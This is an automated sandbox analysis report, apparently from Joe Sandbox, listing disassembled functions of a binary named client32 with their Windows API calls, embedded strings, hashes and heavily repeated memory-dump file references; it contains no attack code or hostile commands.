Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CombineCreateDeleteObjectRect$Indirect
String ID:
API String ID: 3044651595-0
Opcode ID: 1250bfdb64eb9f94442feb870266ab3da7c928c1294f43dacfd40da9a11fa5ee
Instruction ID: 27b6d86d25d7e193214482d66684a995ae6d2575b2198652133f57a3d860c4fb
Opcode Fuzzy Hash: 1250bfdb64eb9f94442feb870266ab3da7c928c1294f43dacfd40da9a11fa5ee
Instruction Fuzzy Hash: 26116031A50702AFE721CE64D888B9AF7ECFB45716F00812EE66992180C770B881CB93

Function 11057380 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 375windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(00010486,00000501,00000000,00000000), ref: 11057461

Strings

Warning. Eval period expired - ignoring cmd %d (x%x) - idata %x - VistaUI %d, xrefs: 110574EA
Unable to select/accept connection within 10sec, ignoring cmd %d, xrefs: 1105747B
Warning. DoNotify(%d) not processed, xrefs: 1105835B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessagePost
String ID: Unable to select/accept connection within 10sec, ignoring cmd %d$Warning. DoNotify(%d) not processed$Warning. Eval period expired - ignoring cmd %d (x%x) - idata %x - VistaUI %d
API String ID: 410705778-2398254728
Opcode ID: ba57e33ba6e0677790ef1c60b987477872059b8d4379fee97220d80381384bfa
Instruction ID: 05798701b428304c80057879d977071bcb7a017165537b33727636eef533cf84
Opcode Fuzzy Hash: ba57e33ba6e0677790ef1c60b987477872059b8d4379fee97220d80381384bfa
Instruction Fuzzy Hash: 6DD10975E0064A9BDB94CF95D880BAEF7B5FB84328F5082BEDD1557380EB356940CBA0

Function 1101B1E0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 195COMMON

Download Yara Rule

APIs

Part of subcall function 110DC630: EnterCriticalSection.KERNEL32(111E9064,11018545,DC70C1FE,?,?,?,1117A7A8,000000FF), ref: 110DC631

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

std::exception::exception.LIBCMT ref: 1101B426
__CxxThrowException@8.LIBCMT ref: 1101B441

Part of subcall function 11008D80: std::_Xinvalid_argument.LIBCPMT ref: 11008D9A

Strings

NsAppSystem Info : Control Channel Command Sent : %d, xrefs: 1101B3BA
NsAppSystem Info : Control Channel Sending Command : %d, xrefs: 1101B399

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalEnterException@8SectionThrowXinvalid_argument_memsetstd::_std::exception::exceptionwsprintf
String ID: NsAppSystem Info : Control Channel Command Sent : %d$NsAppSystem Info : Control Channel Sending Command : %d
API String ID: 2637870501-623348194
Opcode ID: d812f64574eae1c4fb48af3016aead96b2e308c4460433a88607f1ea4946197e
Instruction ID: 57dd9297704c65ab0c6bcb40d8263c5768676fb733a16b5b2db7577f0494a42a
Opcode Fuzzy Hash: d812f64574eae1c4fb48af3016aead96b2e308c4460433a88607f1ea4946197e
Instruction Fuzzy Hash: B87181B5D00359DFEB10CFA4C884BDDFBB4AF05318F248159D825AB381EB75AA84CB91

Function 11021250 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110212B2
IsWindowVisible.USER32(00000000), ref: 11021383
wsprintfA.USER32 ref: 110213C7

Strings

%d,%d,%d,%d,%d,%d, xrefs: 110213C1

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$VisibleWindow
String ID: %d,%d,%d,%d,%d,%d
API String ID: 1671172596-1913222166
Opcode ID: 0fcb5efb468b217f4c32e044bd224a886712e29eb8e703beb0db4db76b5a8a86
Instruction ID: 343a7c5902a362ececb8f7ca127abed5b4c5d2d50e5eb0de1d2da9fabf51934b
Opcode Fuzzy Hash: 0fcb5efb468b217f4c32e044bd224a886712e29eb8e703beb0db4db76b5a8a86
Instruction Fuzzy Hash: 17519C74B00215AFD710CB68CC80FAAB7F9AF88704F508698E6599B281CB70ED45CBA1

Function 110197B0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 126COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 110198DA

Strings

!"NOT IMPLEMENTED", xrefs: 110198EA
vector<T> too long, xrefs: 110198D5
..\NsAppSystem\NsAsApplicationObjects\Client32\NsAsMetroClientManager.cpp, xrefs: 110198E5

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: !"NOT IMPLEMENTED"$..\NsAppSystem\NsAsApplicationObjects\Client32\NsAsMetroClientManager.cpp$vector<T> too long
API String ID: 909987262-1355409292
Opcode ID: b59b3e48ade1ba9e86877e250c14f818b0443870f309251212fb243d2d557a09
Instruction ID: 45509ef83f4b777453d73ca0567eb7b8743cc9ae8aef4b1916a9b72e068dfb16
Opcode Fuzzy Hash: b59b3e48ade1ba9e86877e250c14f818b0443870f309251212fb243d2d557a09
Instruction Fuzzy Hash: EE419775F00206CBCB1CCE78C89066EB7E5EB84719B148A3EDC27DB688FA34E9058751

Function 110354B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 110354BF
EnumChildWindows.USER32(?,Function_00035030), ref: 110354FC

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Part of subcall function 11033760: IsWindow.USER32(?), ref: 11033768
Part of subcall function 11033760: GetWindowLongA.USER32(?,000000F0), ref: 1103377B

Strings

IsWindow(hDia), xrefs: 110354D3
CltAutoLogon.cpp, xrefs: 110354CE

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ChildEnumErrorExitLastLongMessageProcessWindowswsprintf
String ID: CltAutoLogon.cpp$IsWindow(hDia)
API String ID: 2743442841-2884807542
Opcode ID: 21a2b76fec222c1e6d0d260998ef43525eec84e1817e013d231b49b2bb670141
Instruction ID: 266056e39768e9626d6b00a12ef6d260c21a84dff935472d76ead0117b905fd9
Opcode Fuzzy Hash: 21a2b76fec222c1e6d0d260998ef43525eec84e1817e013d231b49b2bb670141
Instruction Fuzzy Hash: 3241CFB5E207059FC720DF24C991B9AB7F6BF8071AF50846DD84687AA0EB32F544CB91

Function 11039390 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 110393B2

Part of subcall function 1115F7E6: __getptd.LIBCMT ref: 1115F804

_strtok.LIBCMT ref: 11039433

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

; >, xrefs: 110393A9, 1103942C
CLTCONN.CPP, xrefs: 110393E7

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$ErrorExitLastMessageProcess__getptdwsprintf
String ID: ; >$CLTCONN.CPP
API String ID: 3120919156-788487980
Opcode ID: dcf81aafb7d70219b407bb39dde41256934e084b07b6762410a41ac6d4931455
Instruction ID: 48fd02c5cc66f23834ff9d805c81fd3cb0a4cfabe792bc6ab9c015f56f8a8e7f
Opcode Fuzzy Hash: dcf81aafb7d70219b407bb39dde41256934e084b07b6762410a41ac6d4931455
Instruction Fuzzy Hash: 4821E775F1425B6BD701CEA58C40F9AB6D49F85359F0440A5FE08DB380FAB4AD0183D2

Function 11031170 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(DC70C1FE,00000000,?,DC70C1FE,1118736B,000000FF,?,11066188,NSMWClass,DC70C1FE,?,1106DC18), ref: 110311AA
__strdup.LIBCMT ref: 110311F5

Part of subcall function 110310B0: LoadLibraryA.KERNEL32(Kernel32.dll,DC70C1FE,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 110310E2
Part of subcall function 110310B0: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,11186B98,000000FF,?,110311BB), ref: 11031120
Part of subcall function 110310B0: GetProcAddress.KERNEL32(00000000,ProcessIdToSessionId), ref: 1103112E
Part of subcall function 110310B0: FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,11186B98,000000FF,?,110311BB), ref: 11031154

Strings

NSMWClass, xrefs: 110311BF
NSMWClassVista, xrefs: 110311EF, 110311F4, 11031218

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCurrentFreeLoadProcProcessVersion__strdup
String ID: NSMWClass$NSMWClassVista
API String ID: 319803333-889775840
Opcode ID: 903a90e8a7d17424edb06c100f40dd41976d118595282118367260f60fabb7df
Instruction ID: da22cb9b74e46dcd904e816c1cfbcb9dca7c1c5d087ee23a6b3981c0c6242146
Opcode Fuzzy Hash: 903a90e8a7d17424edb06c100f40dd41976d118595282118367260f60fabb7df
Instruction Fuzzy Hash: 2721D272E286855FD701CF688C407EAFBFAAB8A625F4086A9EC55C7780E736D805C750

Function 110A95C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(80000000,SysListView32,11190240,?,?,?,?,00000000,80000000,?,00000000,00000000), ref: 110A9628

Strings

..\ctl32\listview.cpp, xrefs: 110A963A
m_hWnd, xrefs: 110A963F
SysListView32, xrefs: 110A9622

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: ..\ctl32\listview.cpp$SysListView32$m_hWnd
API String ID: 716092398-3171529584
Opcode ID: 637c1e481861933b660f9025ac84e75a0f093096606961fd602d82f68461a821
Instruction ID: 47062bfc9542a2c6c353129ffb0ec6f2ada6c6bd4fa77e90f028d1fc367f12b4
Opcode Fuzzy Hash: 637c1e481861933b660f9025ac84e75a0f093096606961fd602d82f68461a821
Instruction Fuzzy Hash: 74218E7960020AAFDB14DF59DC81FDBBBE9AF88314F10861DF95987281DB74E941CBA0

Function 11063300 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11063340
_strtok.LIBCMT ref: 11063370
_strtok.LIBCMT ref: 11063388

Strings

,= , xrefs: 1106333A, 11063369, 11063381

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok
String ID: ,=
API String ID: 1675499619-2677018336
Opcode ID: d2de01c0851f5f09910fd20d88a83f3c74abcc9e5e0ac208d52fec541981aab0
Instruction ID: feda1c23a4deb0c6415e8fc3f525424d3758ff44d9e037eb8c71fca6166ea7b8
Opcode Fuzzy Hash: d2de01c0851f5f09910fd20d88a83f3c74abcc9e5e0ac208d52fec541981aab0
Instruction Fuzzy Hash: 7111C266E0866B1FEB41CE699C11BCBB7D85F06259F04C0D5F95C9B341EA20F801C6E2

Function 1114F010 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 1114F04C
_memmove.LIBCMT ref: 1114F086

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Strings

..\ctl32\WCUNPACK.C, xrefs: 1114F061
n > 128, xrefs: 1114F066

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

